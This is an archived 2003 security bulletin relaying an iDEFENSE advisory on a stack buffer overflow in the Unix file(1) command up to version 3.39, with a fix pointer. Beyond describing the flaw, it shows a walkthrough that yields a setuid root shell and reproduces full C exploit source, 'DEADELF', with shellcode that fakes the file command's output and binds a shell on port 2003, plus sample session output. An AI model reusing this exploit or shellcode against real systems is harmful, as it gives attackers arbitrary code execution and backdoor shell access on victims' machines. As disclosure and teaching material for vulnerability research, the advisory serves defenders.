4th Mar 2003 [SBWID-6043]
COMMAND
	file local buffer overflow
SYSTEMS AFFECTED
	iDEFENSE has successfully exploited file(1) versions 3.37 and  3.39.  It
	is suspected that all versions up to and including 3.39 are vulnerable.
PROBLEM
	In iDEFENSE Security Advisory  [03.04.03] :
	
	 http://www.idefense.com/advisory/03.04.03.txt
	
	I. BACKGROUND
	file(1) is an application that utilizes a magic file (typically  located
	in /usr/share/magic) to classify arbitrary files. The latest version  of
	file(1) is available for download from: ftp://ftp.astron.com/pub/file .
	For example:
	
	    $ file
	    Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...
	    $ file unknown_file
	    unknown_file: ASCII text
	
	II. DESCRIPTION
	The file(1) command contains a buffer overflow  vulnerability  that  can
	be leveraged  by  an  attacker  to  execute  arbitrary  code  under  the
	privileges of another user.
	The crux of the problem lies in  the  following  call  to  doshn()  from
	tryelf() on line 587 in readelf.c:
	
	    doshn(class, swap,
	        fd,
	        getu32(swap, elfhdr.e_shoff),
	        getu16(swap, elfhdr.e_shnum),
	        getu16(swap, elfhdr.e_shentsize));
	
	The final argument to doshn() 'elfhdr.e_shentsize' is later  used  in  a
	call to read() as can be see here on line 133 in readelf.c:
	
	    if (read(fd, sh_addr, size) == -1)
	
	The call to read() will copy 'size' bytes into  the  variable  'sh_addr'
	which is defined on line 92 in readelf.c:
	
	    #define sh_addr (class == ELFCLASS32 \
	                     ? (void *) &sh32 \
	                     : (void *) &sh64)
	
	The storage buffer used in the call to  read()  is  of  size  0x20  (32)
	bytes, by supplying a 'size'  of  0x28  (40)  a  stack  overflow  occurs
	overwriting the stored  frame  pointer  (EBP)  and  instruction  pointer
	(EIP) thereby providing the attacker with CPU control  and  the  ability
	to execute arbitrary code.
	III. ANALYSIS
	A  user  who  can  successfully  convince  another  user  to  examine  a
	specially constructed exploit file with the file(1) command can  execute
	arbitrary code under the privileges of that user.
	The following is a sample walkthrough of a successful exploitation.  The
	attacker must initially generate a file that is specially structured  to
	trigger a buffer overflow in the file(1) command:
	
	    $ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
	/bin/bash -p 1
	    Local /usr/bin/file upto v3.39 exploit by anonymous
	    Using PRESET: 1 [Linux file <= 3.38 ]
	    Using FILENAME: /tmp/exploit
	    Using REAL_SHELL: /bin/bash
	    Using CREATED_SHELL: /tmp/suid
	    Using OUTPUT: ASCII text
	    Using RET_ADDR: 0xbfffc3f0
	    Using NOP_COUNT: 6000
	    Exploit created -> /tmp/exploit
	    Time to wait till somebody starts /usr/bin/file /tmp/exploit
	
	Once the tainted file has been generated the attacker must wait  for  or
	coerce another user to examine the file with the file(1) command.
	
	    # ls -l exploit
	    -rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit
	    # file exploit
	    /tmp/exploit: ASCII text
	
	The file(1) command reports that the examined file is  "ASCII  text"  as
	the attacker specified in the creation of  the  exploit  file.  At  this
	point if the attack was a success the  original  attack  file  (exploit)
	has been erased and a set user id shell has been created:
	
	    # ls -l exploit
	    ls: exploit: No such file or directory
	    $ ls -l suid
	    -rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid
	
	 Update (06 March 2003)
	 ======
	Crazy Einstein posted :
	
	/*
	\   __________________
	/   Black Sand Project
	\   __________________
	/
	\   Created by CrZ [[email protected]] LimpidByte [lbyte.void.ru] /06.03.2003/
	/
	\   Bug discovered by iDEFENCE: http://www.idefense.com/advisory/03.04.03.txt
	/   
	\   program name: DEADELF
	/
	\   description: Exploit for file program <= 3.39
	/
	\   info: program create file-exploit and when you 
	/   make "file /path/to/this/file-exploit" shell
	\   will open on 2003 port.
	/
	\   Usage: ./85deadelf <file-exploit> [return address]
	/
	\   Example of work:
	/
	\	[crz@blacksand crz]$ gcc -o 85deadelf 85deadelf.c
	/	[crz@blacksand crz]$ ./85deadelf deadelf
	\	[+] Creating a evil file deadelf!
	/	[+] Using address of shellcode = 0xbfffbd40
	\	[crz@blacksand crz]$ file deadelf
	/	File: ASCII text
	\	[crz@blacksand crz]$ telnet localhost 2003
	/	Trying 127.0.0.1...
	\	Connected to blacksand (127.0.0.1).
	/	Escape character is '^]'.
	\	id;
	/	uid=500(crz) gid=500(crz) groups=500(crz)
	\	: command not found
	/	exit;
	\	Connection closed by foreign host.
	/	[crz@blacksand crz]$
	\
	/   Tested against: file-3.37 (RedHat8.0)
	\		    file-3.38 (RedHat8.0)
	*/
	#include <fcntl.h>
	#include <elf.h>
	#include <stdio.h>
	void usage(char *prog) {
		printf("\nCreated by CrZ [[email protected]] Limpid Byte [lbyte.void.ru]\n");
		printf("Usage: %s <name of evil file> [return address]\n\n",prog);
		exit(0);
	}
	int main(int argc, char **argv) {
	/* 
	\   a simple shellcode that show fake result of file program & bind
	/   shell on 2003 port by CrZ
	*/
	char shellcode[]=
		"\x31\xc0\x31\xdb\x53\xb3\x01\x50" /* write(1,"File: ASCII text");*/
		"\x68\x01\x01\x0a\x0d\x68\x74\x65"
		"\x78\x74\x68\x43\x49\x49\x20\x68"
		"\x3a\x20\x41\x53\x68\x46\x69\x6c"
		"\x65\x89\xe1\xb2\x18\xb0\x04\xcd\x80"
	        /* bind shell on 2003 port */
	        "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
	        "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
	        "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
	        "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
	        "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
	        "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
	        "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	        "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
		int fd,i;
		Elf32_Ehdr elfhdr;
		long xret=0xbfffbd40;
		char *evilfile="bl00mps";
		char tmp[100];
		if(!argv[1]) usage(argv[0]);
		else evilfile=argv[1];
		if(argv[2]) sscanf(argv[2],"0x%x",&xret);
		printf("[+] Creating a evil file %s!\n",evilfile);
		printf("[+] Using address of shellcode = 0x%x\n",xret);	
		sprintf(tmp,"echo>%s",evilfile);
		system(tmp);
		fd=open(evilfile,O_WRONLY);
		bzero(&elfhdr,sizeof elfhdr );
		elfhdr.e_type=1; //type should by NOT ET_CORE (4) & NOT ET_EXEC (2)
		sprintf(elfhdr.e_ident,"\x7f\x45\x4c\x46\x01\x01\x01"); //ELF32 FORMAT
		elfhdr.e_machine=1;
		elfhdr.e_version=1;
		elfhdr.e_entry=0;
		elfhdr.e_phoff=0;
		elfhdr.e_shoff=0;
		elfhdr.e_flags=0;
		elfhdr.e_ehsize=0;
		elfhdr.e_phentsize=0xfff; //define size for read()
		elfhdr.e_phnum=1; //this is for stop for() loop when read()
		elfhdr.e_shentsize=0xfff; //define size for read()
		elfhdr.e_shnum=1; //this is for stop for() loop when read()
		elfhdr.e_shstrndx=0;
		write(fd,&elfhdr,sizeof(elfhdr));
		for(i=0;i<20;i++) write(fd,&xret,4); //write new return address
		for(i=0;i<6000;i++) write(fd,"\x90",1); //write nops
		write(fd,&shellcode,sizeof shellcode); //write shellcode
		close(fd);
		return 0;	
	}
	
SOLUTION
	The latest version of file(1) fixes this issue  and  is  available  from
	ftp://ftp.astron.com/pub/file/file-3.41.tar.gz . Specific  vendors  will
	be shipping updated packages in the near future.